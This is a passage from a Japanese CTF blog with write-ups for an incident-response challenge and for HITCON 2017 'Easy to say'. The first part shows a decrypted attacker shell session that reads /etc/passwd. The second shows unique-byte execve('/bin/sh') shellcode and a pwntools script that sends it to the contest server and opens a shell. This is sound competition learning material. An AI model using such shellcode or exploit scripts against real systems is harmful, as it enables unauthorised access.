94\x17\xc7\xb4\x1c\x3e\x62\xc2\x58\x9a\x34\x3e\x83\x2c\xf4\xd7\xa7\xa5\xd6\x43\x87\x4f\x43\xd7\xf0\x86\x4a\x48\xb3\xb3\x77\x3d\x4a\x42\xca\x29\x07\x1e\xf3\xf0\x5d\x52\x58\x2a\x7e\xbc\x84\xbc\xac\xeb\xe5\x50\x75\xd3\x3a\xdc\x46\x3f\x9c\xd6\x69\x26\x34\x9c\xe3\x8d\x44\x00\x06\x76\xbf\x3c\x83\x55\x41\x98\x91\xb2\x21\xb4\x73\xda\x47\x33\xd6\x6a\x05\x32\xb2\xdf\x59\x08\xaf\x86\x6c\xf6\x13\xdd\x2a\xe6\xb7\xb2\x74\x8c\x1e\x32\x88\x85\x19\x62\x8e\x6f\x60\xea\x64\xe6\x66\xdf\x5e\x14\x90\x6b\x6b\xb5\x0a\x90\x0c\x25\x05\xa8\xf4\x63\xb8\x5a\x52\xa7\xe3\x83\xd7\x2a\x77\xd6\xed\xa1\xa8\xf2\x93\x9b\xbf\xb8\x9b\x46\xa7\x69\x64\xbc\xbb\xbe\x64\xe5\xe2\x4b\xef\x3a\x29\x75\x7c\x9d\x9d\x10\x28\x41\xf2\xe3\xbe\xdb\xd8\xfd\xbb\x3b\xdf\xdc\xd2\x80\x83\x69\x25\x2b\x5b\x63\x7e\x05\xc4\xe8\x98\x5f\x9e\x80\xa7\x0c\x6c\x2e\x93\x28\x1c\x09\x35\x03\xac\x7b\x84\x6a\x4a\xa1\x7c\x6f\xd1\x5c\x3b\x78\x83\xa1\x9c\xf0\x75\x8b\x28\xdb\x6e\xc3\x7d\xb2\x00\xfa\x36\xb4\x81\xdd\x6d\xc1\xd0\xc2\x9a\xb9\x43\x8f\x63\x9e\xd8\x3f\xf9\x24\x36\x6b\xde\x2f\x48\xcd\xb0\xf1\x90\x71\x38\xc1\x6a\xc9\x9d\xe2\x7e\xfd\x3f\x9b\xdf\x36\x06\x81\xef\x8f\x98\x6e\x50\x10\xcc\xa1\x0f\x35\x49\x81\x48\x53\x6d\x98\xdf\xde\x32\xaf\x9d\x08\x0c\x56\xac\xf7\xc8\xea\x3a\x64\xfa\x6f\x50\x76\x63\xe8\x47\x39\x95\x88\x74\x76\xb8\x50\x70\x38\x06\x59\xe8\x8e\x5e\x0f\xe6\xd2\xca\x6f\xee\x80\x5e\xc4\xe6\x2a\x6c\xe6\xa6\x1d\x09\xe9\x64\x31\xbb\xa0\x8b\xb5\x25\x55\x04\xf7\x17\x58\xea\x7b\xd9\xf1\xf5\x1d\x47\x51\x10\x1a\x22\x95\xe9\x80\x69\xbe\x0b\xf5\x25\xbe\xa5\xb0\x6e\xc3\x7e\xc9\x8c\x2a\xb9\xee\x94\x50\x33\x62\xb6\xc0\x6d\xc7\xa9\xb5\xaa\xeb\x09\x45\x98\x3f\x1b\xe8\x37\x5f\x21\x30\xc0\xb0\xa9\xc5\x7f\xaa\xa9\x55\x93\x42\x67\xe3\x6f\x75\x90\xcf\x86\xa0\xb6\x0f\x3f\xb2\xbe\xa4\x92\x40\x19\x3b\x01\xde\xc9\x2f\x5e\x9d\x09\xa1\x6b\x65\x45\xdc\x85\xd7\x5a\xef\x9a\x7f\x9f\x74\x41\x55\xbb\x02\xdb\x4c\x11\x59\xf9\x1c\xb4\x5b\x74\x80\x1d\xe9\x78\xa1\xb6\x7c\xf1\xe4\x21\x89\x9b\x46\xec\x99\x7f\x72\xac\x02\xc6\x2f\x08\x22\xee\x11\x77\xa4\xd2\x5a\x91\x34\x52\xe2\x4c\x46\xa2\x78\xff\x87\xa0\xe3\x73\x91\x17\x18\x7c\xa8\x92\x2b\x60\xc2\x46\xe7\xa0\x4c\xc9\x63\xbb\x2d\xc7\x25\xeb\x96\xf6\xb4\x5f\xe1\x99\xca\xf2\x90\xcb\x4a\x96\x5d\x5b\xd7\x0d\xaf\x46\x5b\xa6\xc0\x02\x30\x2c\x17\x49\x64\x5c\xa3\x1d\xfd\x45\x16\x1d\x3f\x34\x1e\xab\xd2\x71\xb9\x15\x34\x01\xff\xce\xd0\xa1\x76\x97\x10\xa6\x25\x59\x7a\x76\x42\xe5\x19\x24\x52\x61\x0e\x31\x06\x67\xa7\x45\x3a\x34\xff\x36\xea\xa0\xc9\x4a\xde\x4f\x3e\x95\x99\x5f\x6a\xc9\x88\xb2\xa6\xc4\x3e\xd1\xfb\x0e\x9a\x03\xc6\x0e\x0e\x72\x77\x6c\x70\xe2\x35\x74\x5f\x23\x3c\x05\x1b\x28\xf9\xec\x12\xce\x54\x13\x04\xf5\xdb\x22\xea\x0c\xc0\xc0\x91\xe2\x4f\x27\xba\x17\xf8\xa5\x03\x8a\xe1\x6f\x56\xb4\xcb\xda\x08\x6a\x2d\x46\x1a\x1d\x0f\xbf\xe3\xcf\x5d\x92\xc1\x7c\x05\xa8\x78\x0c\x56\x52\x7f\x77\x54\xd6\x4f\xac\x79\xa0\x3d\x56\xe2\xe8\xf3\xd3\x41\x52\xfa\xd2\x0b\xd0\x60\x60\xc0\xde\x7b\x6e\x9c\x0f\xf4\x8d\x4b\x82\x21\xaf\x5b\xa9\x0b\x4f\xdb\x69\xec\xec\x81\x87\x65\x7a\xa2\x0b\xff\x61\x1c\x5e\x98\xca"
    message11 = "\xaa\x42\x5a\xa7\xd0\x96\xa9\x35"
    message12 = "\x62\x99\x64\x48\x89\xfd\x62\x15\xa8\x93\x3b\x28\x65\xce\x6c\xa2\xc0\x38\x80\xc9\xae\x45\xa8\x1f\x6e\xb8\xaa\x81\x08\xe6\x13\x57\xe3\x9b\xa8\xdc\x91\x9a\xff\xbb\x9a\x67\x37\x99\x73\x63\x52\x5c\xfd\xcf\x20\x6c\xd6\x88\xe8\x9a\x2f\xbf\x93\xa8\x5f\xc2\x01\x50\xd4\xd4\xf2\xfb\x96\x67\x35\x99\xdc\x6c\x79\xe8\x3c\xf5\x17\xa8\x28\x80\x66\x51\x14\xa8\x5f\xc5\x02\x5e\x98\x47\x57\x62\x85\x7c\xa4\xbf\x40\xfe\x75\x8c\x55\x96\x26\x89\xa1\x60\x12\x94\x5f\x76\x44\x97\x7a\x0a\x90\x28\xff\x41\x07\x08\x94\x3b\x0e\x61\x83\x73\x20\x96\x6f\xe9\x80\x75\x69\x9a\x31\xf4\xf5\x6a\x65\xa6\x5e\x17\x7b\x74\x5a\xf0\xfa\x3d\x3d\x96\xde\x5a\x81\xae\x6b\x97\xde\xd5\x11\x1c\xd0\x41\xbe\xfb\xae\xb7\x46\x63\x72\xa2\x1e\x67\x35\x4d\xf3\xef\x64\x2a\x78\x97\x89\xd3\x71\xc7\x82\xd1\x42\x58\x08\xbe\x40\x63\xe0\xd8\x90\x3e\x86\x59\x25\xf1\x5c\xf9\x13\xdc\x41\x9c\x95\x1a\xb5\x6c\xf8\xf3\xce\xd0\xad\x88\xfb\xac\xfd\x23\xe2\xe6\x26\x51\xa5\xcb\x23\x85\xcd\xfe\x89\x29\xab\x65\x74\xd1\xc6\x31\xf7\x24\x7b\x1f\xbf\x3c\x50\xa0\xd1\xe8\x13\x4a\xd6\x25\x1c\x44\xfd\x99\xad\xf3\xbe\xe6\x29\xb7\xf1\x94\x12\x52\x3a\xc2\x5a\x24\xef\x64\xc4\xe2\xa2\x78\x2b\x4a\x17\xf6\x5f\x54\x76\x81\xed\x57\xe6\x87\x49\xf2\xdf\x3e\x28\x0d\x6c\xae\x06\xed\xae\x4f\xc3\x6d\xee\xea\xee\x86\xa1\x42\x46\x52\x2f\x6b\xb5\x94\x1f\x88\xb7\xbc\x04\xe3\xfe\x83\x30\x22\x43\x9a\x03\x5d\xba\x3e\x32\x49\xa4\xa4\x47\x3d\xee\x2c\x5c\x91\x53\x7c\x9f\x74\x2c\x4e\x39\x8c\xc8\xd9\x09\xcb\x8f\xb3\x22\xf6\xf9\xe8\xff\xd1\x07\x3a\xd7\xee\xf6\x59\x82\xcc\xc2\xbe\xc9\x37\x13\xcb\x39\x37\x56\xea\x4c\xc2\x46\xac\xe3\x89\xe2\xe0\xcc\x25\x7d\x8b\x08\xf6\x11\x2b\x4d\x60\xd5\x2b\x6e\xae\x0d\x14\x8e\x9e\x69\x92\xa6\xfe\xd1\xc1\x8e\xc6\x36\xd6\x35\x44\xc5\x03\x56\xca\xdd\xbd\x4d\xe1\x9a\xee\xbe\x5d\x31\xf5\x26\x26\x29\x30\x0e\x37\xea\x28\xd2\x83\x03\xbb\xa0\x5b\x7f\x36\xd8\x81\x45\x83\x37\x6b\xf8\x55\x8f\x16\xf8\x53\x71\xd3\x8f\xa0\xea\x10\x13\xfd\xf4\x94\x31\x27\x4c\x30\xde\xd9\xbd\x78\x30\xf7\x8b\x84\x16\x66\xbd\x70\x3a\x4c\xd8\xb2\x7d\xb3\x13\xbf\xf8\xed\x4d\xeb\xeb\xea\x9d\x33\xae\xef\x5b\x94\xe9\x0c\xf7\xb3\x84\x87\x37\xf0\x5f\xa6\x65\x1e\x11\xcc\x84\x07\x21\x7a\x5a\x46\x14\x08\x01\xb7\xf2\xdb\x43\xf1\x59\x09\xd2\x4a\x5c\x08\x2d\x40\xaa\x43\x13\x2f\x1f\xf6\x5c\xac\x00\xf4\x78\xbb\xa1\x77\xd7\x78\x57\x6c\x10\x1d\xfc\xd2\x6f\x4e\x15\xcb\xfa\xf5\xee\x60\x2b\xc1\x10\x26\xb8\xed\xd9\xa7\x48\x3a\x4b\xa4\xe5\xcb\xcb\x12\x0c\xd1\x83\x99\xb5\x23\x4f\xd2\xa7\xb6\x1a\x38\x4d\x5c\x88\x01\x7a\x7b\xde\xb2\x95\xcc\xe5\x95\x35\xb7\x5f\xc7\x86\x39\xba\x04\xe5\xf7\xb6\xb3\x19\x5a\x45\x73\x7a\xe1\x70\x3a\x6a\xce\x8d\x8f\xe8\xb5\x0b\x53\xb3\xda\x01\xcd\x20\x3f\x30\xcb\x72\x75\x60\xd2\x90\xac\x3d\x1f\x20\x1e\x6c\xa0\x27\x42\xe1\x6f\xae\x48\x2c\xef\x0a\x0d\x0d\xe2\xe0\xdd\xe1\x47\x9d\x12\xcc\xbe\x4f\xf7\xdc\xb3\xcc\x78\x10\xde\xea\x29\xdf\xff\x00\x7d\xf5\x3f\x7f\xcb\x68\xf1\xaa\x8e\xca\xbb\xb9\xd0\xc8\xf0\x5f\x36\x89\x05\xdd\x4c\x0f\x42\xee\xd4\x30\xd4\xdc\xce\xcf\x09\xb0\x9b\x4d\x31\xec\x1b\xdb\xa8\x82\x3a\x29\x77\x29\xae\x35\x5a\x99\xbc\xad\xbe\x15\x53\x8f\x33\x57\x26\xcb\xf1\xff\xf5\x77\x96\xbf\x0f\x52\xc0\xda\xaf\x8c\x1d\x2d\x4f\x14\x31\xd7\x85\x70\xe7\xba\xf3\x12\xee\x07\x64\xe5\x55\xd8\x73\xa7\xe8\x11\x05\x2c\xc6\xe4\x7e\x75\x0a\x5b\x6a\x62\x6b\xcc\x51\x23\xb2\x65\x74\xf3\xf5\xec\x68\x72\xf3\xbc\x99\xab\x7b\xf5\x37\xc0\x91\xd2\x52\x99\x99\xd8\x4f\x20\x5f\x57\x39\x44\x86\x82\xd6\x8e\x18\xd1\xbb\x7b\x24\x9a\x71\x9f\x18\x02\xca\x91\xf4\xe6\x71\x1c\x16\xe1\x39\x0d\x63\x1f\x32\xbb\x6d\xc8\xe2\x83\x23\x20\x36\x39\x4c\x6b\x8e\x00\x50\x03\x9d\xae\x83\x6b\x0d\xb8\x67\x06\x34\xb2\x0b\xed\xd5\x47\x0e\x7c\xd0\xee\xa3\x17\xbf\xfb\x4d\x23\x04\x15\x4c\x54\xfa\xd6\x18\x0e\x50\x61\xb2\x89\xee\x07\x41\xdd\x79\x3b\x2f\xa5\xfa\xae\x56\x39\x54\xf2\xe9\xcd\x8d\xa7\x7e\x19\x1b\x05\x20\xb2\x45\xd8\x04\x33\xaa\xb7\x76\x25\x2d\x4b\xaf\x70\x3a\x70\xf1\x08\xbf\x5d\xc9\xa9\xaa\xf1\xfc\x16\x54\x10\x70\x2e\x58\x97\xb3\x39\x9a\x6d\x94\x43\xd9\xab\x03\x19\x42\x56\xf2\x31\x37\x7d\xa6\x56\x4e\xcc\x03\x79\x9b\xb3\xfb\xa7\xe6\xca\xe8\x50\xa9\x72\xfe\x51\x08\x9b\xcb\x3a\x6a\x33\x2a\xae\xba\xfa\xcf\x20\x0c\xd3\x35\x94\xaa\x63\x96\x8e\x73\x78\x4d\x61\xd6\x7d\x9f\x55\x22\x27\x7b\x88\x7c\xe5\x51\xe4\x17\x8f\xcb\x36\x4b\x70\xd9\x23\x7c\xf2\xfc\x97\x19\xed\xdc\xc2\xce\xd5\xb2\x42\x61\x4d\xb4\x5a\x3d\x94\x71\x2f\x3b\x64\xd2\x66\x79\x1e\x6e\x9d\xe4\xe9\x7d\x69\x70\x48\x56\x04\xba\x35\x81\x05\x3a\xc0\x04\x24\x48\x9a\x44\xd5\x14\xd3\xdf\x06\x48\xe0\xbb\xb5\xb7\x77\xf5\xbf\x33\xc5\x01\x8e\xeb\x66\x60\x24\xd1\x7c\xe7\xec\x48\xe3\x63\xcf\x8b\xab\x6c\x93\xa2\x88\xa0\x47\x50\xf4\xcf\xd2\x12\xb0\x6e\x20\x22\xcc\x86\xd6\xbc\x0c\xe2\x4a\x99\xb8\x48\xd1\x1c\xf9\x4a\x7d\x0f\x7d\x82\x45\x0a\x41\xff\xc7\x21"
    message13 = "\xac\x3b\x5b\xa0\xa1\xc4\x71\x55\x6d\x55\xa0\x0d"
    message14 = "\xa7\x05\xd3\x10\xcf\x6d\x3e\x7f\xcb\x42\xa9\x6e\xb7\xd8\x60\x37\xfb\x4a\xa1\x14\x83\x19\xe1\x8f\x17\x5a\x61\xfb\x0b\x98\x35\xb7\x66\x2c\xa7\xde\x3b\x5c\x69\x89\x01\xb9\x48\xde\xab\x75\x1e\x38\x99\x5e\x76\xd8\xee\x1d\x85\x22\x63\x9a\x2b\xa2\xd7\x6b\x89\x30\x04\x1a\x54\x96\x90\xc1\x8e\x9a\xa5\x87\x4a\x53\xdc\x83\x34\x58\x03\xde\x8b\x15\xb7\x2e\x96\x35\x26\xa5\x59\xcd\x27\xbc\x52\x47\xa0\x1b\xe3\x30\x77\xa1\x4c\x8f\x69\x01\x65\x49\xb0\x5e\x5c\xa1\x2e\x6a\xd4\xd5\x14\x8b\xe4\xbd\x3e\x2a\x92\x19\x47\x07\x4d\x59\x63\x37\x65\xcb\x75\x9c\x73\xd0\xf1\xa6\xae\xaf\x7a\xf1\xbc\x7c\x33"
    message15 = "\x66\xa0\xc4\xe8\x17\xd6\xb9\x88\x5f\xcd\x50\x8e\x86\x05\x9a\x2b\xce"
    message16 = "\x35\x17\xb5\xe0\x9d\xce\xfc\x4a\xd5\x0b\x99\xef\x64\x41\x51\x03\xbd\xf6\xc3\x09\xb7\x10\x11\xb0\x07\x76\x32\x03\xdf\x4c\x03\x23\xb7\x83\xb9\x98\x79\xa4\x7d\x3e\x5a\x09\x4b\x55\xb6\xd4\x89\x60\x28\x49\xff\x00\xf8\xf6\xa6\xcc\xbb\x96\xc0\x71\x49\xb5\x5d\xed\x57\x8b\x07\x69\x2a\xd1\x3b\x2e\xa2\x62\x93\x98\x1e\x70\xe0\x55\xe6\x92\x61\x7f\x78\x0b\x4d\x84\xc6\xc2\x2a\x23\x4a\x39\x88\x2b\xf8\x13\x76\x86\x64\x80\x47\x33\x76\x9c\x00\xd9\x98\x0d\x92\x19\x93\x15\x0b\x80\xad\x15\x2e\x6c\x2d\x1b\xd0\xf8\x15\x2f\x6b\xbc\xd2\x99\x4b\xac\xe2\x6e\x32\xd8\x68\x95\x03\x1b\xf5\xf1\xc4\xeb\x18\xc3"
    message17 = "\x5b\x7c\xae\x1a\x19\x88\x75\x7e\xab\x08\x6f\x1e\xaa\x04\x0e\x0d\xff\x7c\x0e\xef\xd0\x79\x8e"
    message18 = "\x38\x22\xd8\x99\xe8\x7b\x5e\x3a\x34\x88\xc8\x14\x7d\xc0\xac\x7c\xdb\x6f\x66\x69\xd1\x3e\x48\x69\x68\x62\x19\xb0\x62\xe7\x54\x93\x1f\xa5\xaf\x19\x64\x73\x26\xe2\xc1\x03\x55\xbb\x43\x97\xb6"

    print "key: %r (%d bits)" % (key, len(key)*8)

    for i in range(1, 19):
        exec("RC4(message" + str(i) + ", gen)")


if __name__ == "__main__":
    main()

実行結果

$ python decrypt.py
key: '\xb0\xf8p\xfbu\x87\xc0H+\xb7\xf7\xc1\xf79\x1f\x9ef\xde,\xd9%X\xca\x1f\x87\xf2\xdf#/\xed\xc7\xda' (256 bits)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

pwd
/usr/lib/cgi-bin

ls -la
total 24
drwxr-xr-x  2 root root  4096 May 26 02:39 .
drwxr-xr-x 52 root root  4096 May 26 02:39 ..
-rwxrwxr-x  1 root root 13704 Apr 18 01:11 index.cgi

echo 'pwned! yay!'
pwned! yay!

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false

ls -la /
total 80
drwxr-xr-x  67 root root 4096 May 26 03:04 .
drwxr-xr-x  67 root root 4096 May 26 03:04 ..
-rwxr-xr-x   1 root root    0 May 26 03:00 .dockerenv
drwxr-xr-x   2 root root 4096 May 26 02:39 bin
drwxr-xr-x   2 root root 4096 Apr 12  2016 boot
drwxr-xr-x  15 root root 3780 May 26 03:00 dev
drwxr-xr-x 116 root root 4096 May 26 03:00 etc
drwxr-xr-x   4 root root 4096 May 26 02:39 home
drwxr-xr-x  15 root root 4096 May 26 02:39 lib
drwxr-xr-x   2 root root 4096 May  2 08:41 lib32
drwxr-xr-x   2 root root 4096 May  2 08:39 lib64
drwxr-xr-x   2 root root 4096 Feb 14 23:28 media
drwxr-xr-x   2 root root 4096 Feb 14 23:28 mnt
drwxr-xr-x   2 root root 4096 Feb 14 23:28 opt
dr-xr-xr-x 174 root root    0 May 26 03:00 proc
drwx------  11 root root 4096 May 26 03:04 root
drwxr-xr-x   9 root root 4096 May 26 03:00 run
drwxr-xr-x   2 root root 4096 May 26 02:39 sbin
drwxrwxr-x   5 1000 1000 4096 May 26 03:04 share
drwxr-xr-x   2 root root 4096 Feb 14 23:28 srv
dr-xr-xr-x  13 root root    0 May 24 07:44 sys
drwxrwxrwt   2 root root 4096 May 26 03:00 tmp
drwxr-xr-x  27 root root 4096 May 26 02:39 usr
drwxr-xr-x  21 root root 4096 May 26 03:00 var

ls -la /home
total 12
drwxr-xr-x  4 root root 4096 May 26 02:39 .
drwxr-xr-x 67 root root 4096 May 26 03:04 ..
drwxr-xr-x  2 root root 4096 May 26 02:39 user

ls -la /home/user
total 12
drwxr-xr-x 2 root root 4096 May 26 02:39 .
drwxr-xr-x 4 root root 4096 May 26 02:39 ..
-rw-rw-r-- 1 root root   47 May 26 02:38 flag.txt

cat /home/user/flag.txt
CBCTF{7RAcKINg_H4ckERs_f00tPrINTs_i5_excItING}

まとめ

どうせ全く解けないだろうと思っていたのですが,解いてみると結構面白く,参加して良かったなと思いました.

Incident Responseに関しては,リアルでこういうのありそうだなって思いました.

最近気づいてしまったのが,Rev問やるのに暗号も少し知っておく必要があるってこと.(これはRev問じゃないけど)

なにかしらのテーブルを作ってそこからゴニョゴニョみたいなRev問をよく見ていて,なんだこれはって思うけどWriteupを見ると,とある暗号化方式が使われているのがわかったりする.

「この暗号化方式を使うと,こういうアセンブリが生成されて,こういう動きをする」とかは知っておくと便利そう.

HITCON CTF 2017 Quals - Easy to say -

f:id:ywkw1717:20171106114752p:plain

開催期間(JST)

11/4 AM11:00 ~ 11/6 AM11:00

結果

・チーム名:wabisabi

・得点:331 pt

・順位:得点したチーム中,145/1078

解いた問題

・Easy to say (Misc 144)

取り組んだが解けなかった問題

・Start (Pwn)

・Re: Easy to say (Misc)

はじめに

HITCONの開始時間がちょうどバイト先のりんご狩りと重なるということがあり,スタートダッシュが切れず.

結局始めたのは19時~から.

最初はpwnのStartからやっていたものの,方針が違うのか全く見当がつかず,miscのEasy to sayに切り替えた.

2日目は起きる時間が16時頃になってしまい,17時頃からEasy to sayを始めた.

そこから10時間くらい,ああじゃないこうじゃないってやってようやく解けたけど,他の問題は解けず...惨敗.

Writeup

Easy to say (Misc)

問題文

Are you good at shellcoding? Warm up!

nc 52.69.40.204 8361

解析

$ file easy_to_say-c7dd6cdf484305f7aaac4fa821796871
easy_to_say-c7dd6cdf484305f7aaac4fa821796871: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ebaecbb5f55329380b6476b55253b4ea59d91891, stripped

64bit,strippedなバイナリが与えられ,限られた条件で動くシェルコードをプログラミングする問題.

限られた条件というのは,各バイトそれぞれが重複していない,かつ24バイト以下というもの.

このプログラムは,適当なシェルコードを入力として与えてあげると,それを実行してくれる.

最初困ったのが,gdbでstartするとコアダンプするっていう問題.

$ gdb easy_to_say-c7dd6cdf484305f7aaac4fa821796871
Reading symbols from easy_to_say-c7dd6cdf484305f7aaac4fa821796871...(no debugging symbols found)...done.
gdb-peda$ start
No unwaited-for children left.
zsh: abort (core dumped)  gdb -q easy_to_say-c7dd6cdf484305f7aaac4fa821796871

シンボル情報消されていてもステップ実行はできるはずなのに,よくわからない.

結局,runして適当な入力値を与えるとSEGVを起こすので,そこからstartして,あとはひたすらniとsiで探っていった.

すると,

0x555555554990:  xor    ebp,ebp

が開始アドレスとわかったので,ここら辺にブレークポイントをしかけて解析していく.

0x555555554ddf: call   c38 <stdout@@GLIBC_2.2.5-0x2013e8> # input_check(input_value, 0, 0)

入力値チェック的な関数を呼んでいる箇所.

ここから先のルーチンで,入力値が24バイトより大きい場合は24バイトに削り,入力値がユニークではない場合は Invalid input! を表示するルーチンへ飛ばす.

0x555555554e2b: call   rdx

最終的にここでシェルコードを実行するルーチンへ.

ここから先は,全汎用レジスタを初期化した後,入力されたシェルコードを実行するようになっている.

コーディング

一番問題なのは, /bin/sh という文字列の / が重複していること.

よって,最初の / はとあるバイトに置き換えておいて,後でその1バイトのみをxorして元に戻す方針でいく.

    .intel_syntax noprefix
    .global _start
_start:
    mov rbx, 0x68732f6e696203
    xor bl, 0x2c
    pushq rsi
    pushq rbx
    pushq rsp
    popq rdi
    mov al, 0x3b
    syscall

コンパイルして機械語のみを取り出す.ももテクさんの記事が参考になる.

inaz2.hatenablog.com

$ gcc -nostdlib shellcode.s
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g > input.txt

gdbにて run < input.txt をし,正しく実行されていることを確認できたら,exploit.pyに書いていく.

#!/usr/bin/env python
from pwn import *

context(os="linux", arch="i386")

"""
00000000004000d4 <_start>:
  4000d4: 48 bb 03 62 69 6e 2f    movabs rbx,0x68732f6e696203
  4000db: 73 68 00
  4000de: 80 f3 2c                xor    bl,0x2c
  4000e1: 56                      push   rsi
  4000e2: 53                      push   rbx
  4000e3: 54                      push   rsp
  4000e4: 5f                      pop    rdi
  4000e5: b0 3b                   mov    al,0x3b
  4000e7: 0f 05                   syscall
"""

def main():
    conn = remote("52.69.40.204", 8361)
    payload = "\x48\xbb\x03\x62\x69\x6e\x2f\x73\x68\x00\x80\xf3\x2c\x56\x53\x54\x5f\xb0\x3b\x0f\x05"

    conn.send(payload)
    conn.interactive()


if __name__ == "__main__":
    main()
$ python exploit.py
[+] Opening connection to 52.69.40.204 on port 8361: Done
[*] Switching to interactive mode
Give me your code :Run !
$ ls -la
total 72
drwxr-xr-x   1 root        root        4096 Nov  1 06:36 .
drwxr-xr-x   1 root        root        4096 Nov  1 06:36 ..
-rwxr-xr-x   1 root        root           0 Nov  1 06:36 .dockerenv
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 bin
drwxr-xr-x   2 root        root        4096 Apr 10  2017 boot
drwxr-xr-x   5 root        root         340 Nov  4 04:40 dev
drwxr-xr-x   1 root        root        4096 Nov  1 06:36 etc
drwxr-xr-x   1 root        root        4096 Nov  1 06:36 home
drwxr-xr-x   1 root        root        4096 Feb 16  2017 lib
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 lib64
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 media
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 mnt
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 opt
dr-xr-xr-x 125 root        root           0 Nov  4 04:40 proc
drwx------   2 root        root        4096 Sep 15 08:42 root
drwxrwxr--   1 root        root        4096 Sep 18 23:31 run
drwxr-xr-x   1 root        root        4096 Sep 18 23:31 sbin
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 srv
dr-xr-xr-x  13 root        root           0 Nov  4 06:16 sys
drwxr-xr--   2 easy_to_say easy_to_say 4096 Oct 23 19:14 tmp
drwxr-xr-x   1 root        root        4096 Sep 15 08:42 usr
drwxr-xr-x   1 root        root        4096 Sep 15 08:42 var
$ cd home
$ ls -la
total 12
drwxr-xr-x 1 root        root        4096 Nov  1 06:36 .
drwxr-xr-x 1 root        root        4096 Nov  1 06:36 ..
drwxr-xr-x 2 easy_to_say easy_to_say 4096 Nov  1 06:35 easy_to_say
$ cd easy_to_say
$ ls -la
total 28
drwxr-xr-x 2 easy_to_say easy_to_say  4096 Nov  1 06:35 .
drwxr-xr-x 1 root        root         4096 Nov  1 06:36 ..
-rwxr-xr-x 1 easy_to_say easy_to_say 10232 Nov  1 06:35 easy_to_say
-rw-r--r-- 1 easy_to_say easy_to_say    43 Nov  1 06:35 flag
-rwxr--r-- 1 easy_to_say easy_to_say    72 Nov  1 06:35 run.sh
$ cat flag
hitcon{sh3llc0d1n9_1s_4_b4by_ch4ll3n93_4u}

プロはすぐbabyっていう.

取り組んだが解けなかった問題

Start (Pwn)

問題文

Have you tried pwntools-ruby?

nc 54.65.72.116 31337

server.rbがリモートで動いていて,与えられたrubyのコードをevalしてくれる.

また,同一ホスト内の31338ポートではstartというバイナリが動いていて,これは入力値をそのまま表示するだけ(?).10秒間でタイムアウトする.

server.rbに,Dirとかいろいろいい感じに使って,ローカルのファイルを読み出せたりはしたんだけど,フラグがどこにも見当たらない.

そもそも,それだとstartが別ポートで動いている必要がないし,やっぱりstartの脆弱性を何らかの方法で突くのかなと思い,やってみるも,どういう脆弱性が存在しているのかさっぱりわからず.

Re: Easy to say (Misc)

問題文

I think you can do better!

nc 13.112.180.65 8361

Easy to sayのバイト数制限が8バイトverっていう激辛シェルコーディング問題.

無理だった.

まとめ

こうしてwriteupを書いていると解法は自明に思えてくるけど,解いている時は以外と思いつかず,REXプレフィックスに悩まされたり,xor ebx, ebxxor bx, bx では挙動が違うことに悩まされたり.( xor bx, bx だとRBXの下位2バイトだけいい感じに変化してくれるのに, xor ebx, ebxだと,その結果が丸々RBXとなってしまう.同様に xor bl, bl では下位1バイトだけ変更できる)

Rev問が1つも解けてないのが痛すぎる.

そろそろ,そこそこ難しい問題も解けるようになる必要がありそう.